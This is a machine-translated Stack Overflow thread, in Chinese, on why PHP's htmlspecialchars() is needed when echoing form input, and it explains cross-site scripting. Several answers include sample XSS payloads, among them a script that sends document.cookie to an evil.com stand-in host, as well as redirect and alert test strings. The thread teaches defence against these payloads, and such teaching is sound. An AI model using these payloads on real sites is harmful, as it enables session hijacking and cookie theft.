这难道不是必要的吗?
我一直在寻找在php.net manual,它有这行代码:这难道不是必要的吗?
Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.
它说下:
用htmlspecialchars()可以确保在HTML特殊的任何字符编码正确这样的人不能将HTML标记或Javascript注入到页面中。
这真的有必要?
有人真的可以把恶意代码放入那一行吗?有什么需要担心的?有东西可以注入到该行来运行一些PHP代码?即使在这种情况下没有威胁,他们是不是习惯于监视这个人?
如果某人的名字恰巧是:
<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script>
然后蠕虫可被释放到您的网站上。从本质上讲,蠕虫只是一个脚本,它接受用户会话cookie,登录,然后做恶意的事情,随着更多人查看它而自我复制。
cookie窃取的好例子。 +1。 – ceejayoz 2012-03-27 16:45:40
是的,这是必要的。有关cross-site scripting vulnerabilities的信息,请参阅*。
PHP无法使用XSS运行,但攻击者可以窃取会话cookie。举例来说,如果该会话cookie适用于CMS上的管理员,则可能会造成灾难性后果。
在这种情况下,世界上会发生什么?如果他放入类似“'的东西;的phpinfo(); “'? – qwertymk 2012-03-27 16:42:24
不,他将JavaScript代码放在一个请求中,该请求将用户的“document.cookie”值传递给第三方服务器。正如我所说的,PHP不能通过这种漏洞来运行(除非你对$ _POST变量进行评估)。 – ceejayoz 2012-03-27 16:45:07
@ceejayoz评价用户输入...现在,这总是一个绝妙的主意! – NullUserException 2012-03-27 16:49:44
这不仅是为了安全。例如,如果您收到Fred&Jen
作为$_POST['name']
它会使XML文档无效。
是的,有人可以例如注入一些Javascript代码,当它显示时,例如将它们重定向到另一个网站(这是相当无害的)。
例如:
<script type="text/javascript">
window.location = "http://www.google.com/"
</script>
会重定向用户到谷歌如果它被张贴不需要转义
如果您只打印同一用户的帖子,他们不会对您或其他用户造成太大的伤害。但是,它仍然很有用,因为用户可能会使用“>”和“<”,它们会破坏内容的表示形式。
但是,如果您要显示其他用户提交的内容,这会变得更加危险。
用户可以注入任何从链接到其他网站的任何内容到javascript。
<script>window.location = 'http://www.evilsite.com';</script>
而所有来这个网站显示用户提交内容的用户将被重定向到邪恶。
你是说反射式XSS不会造成任何伤害?有很多方法可以利用反射式XSS,只是因为它不是一个持久的XSS,并不意味着它是无懈可击的。 – MrCode 2012-03-27 17:01:42
PHP代码不能被注入该字段,因为它不是由PHP解释器评估的,但它确实引入了跨站点脚本的潜力。
您可以通过使用这样的测试:
<form action="" method="POST">
<input type="text" name="name"/>
<input type="submit"/>
</form>
<?php
if(isset($_POST['name'])){?>
Hi <?php echo htmlspecialchars($_POST['name']); ?>.
<?php}?>
然后在“名称”字段,提交此代码,看看会发生什么:
<script type="text/javascript">alert("P0WN3D");</script>
这里的威胁是XSS。这是一个攻击者尝试使用XSS攻击执行的Javascript代码。
看到自己,取出用htmlspecialchars(),然后张贴此为name
:
<script>alert('xss')</script>
你会看到你的PHP代码将打印出来,浏览器将执行JavaScript。 最常见的XSS攻击是在用户已登录会话的Web应用程序上。成功的XSS攻击可以使用document.cookie
来读取受害者的会话ID cookie,然后将其发送给攻击者网站,攻击者可以在其中进行会话劫持。
这种攻击被称为反射XSS。更严重的XSS类型是持久性XSS这是您将输入存储到数据库的位置,例如,然后将其打印在您的主页上以供所有用户查看或任何其他页面。持续的XSS更有害,因为XSS持续存在的页面访问者可能会受到攻击,而实际上不必为每个受害者重新发起攻击。
有人真的可以把恶意代码放入那一行吗?
是的。
虽然有趣,但这是一个SQL注入,这不是我所问的 – qwertymk 2012-03-27 20:03:50
真正的问题涉及到客户端漏洞。另一方面,这里学到的教训是一样的:不要渲染未经处理的输入。无论它是客户端,服务器端,SQL,HTML,PHP,Perl,无论如何。如果您编写的代码接受来自不受信任来源的输入,则不要直接渲染输入。 – 2012-03-27 20:17:27
是的。即使没有安全问题(有,请参阅答案),由于某人输入完全正确的数据而导致页面中断(或无声地删除部分输入内容),这种情况非常令人讨厌,这些数据恰好具有HTML标记中使用的某些字符。 – delnan 2012-03-27 16:41:42
我以为你正在调用'htmlspecialcharacters'两次 – 2012-03-27 16:42:37
编写web应用程序的一个很好的经验法则是**从不**信任用户输入。 – NullUserException 2012-03-27 16:48:12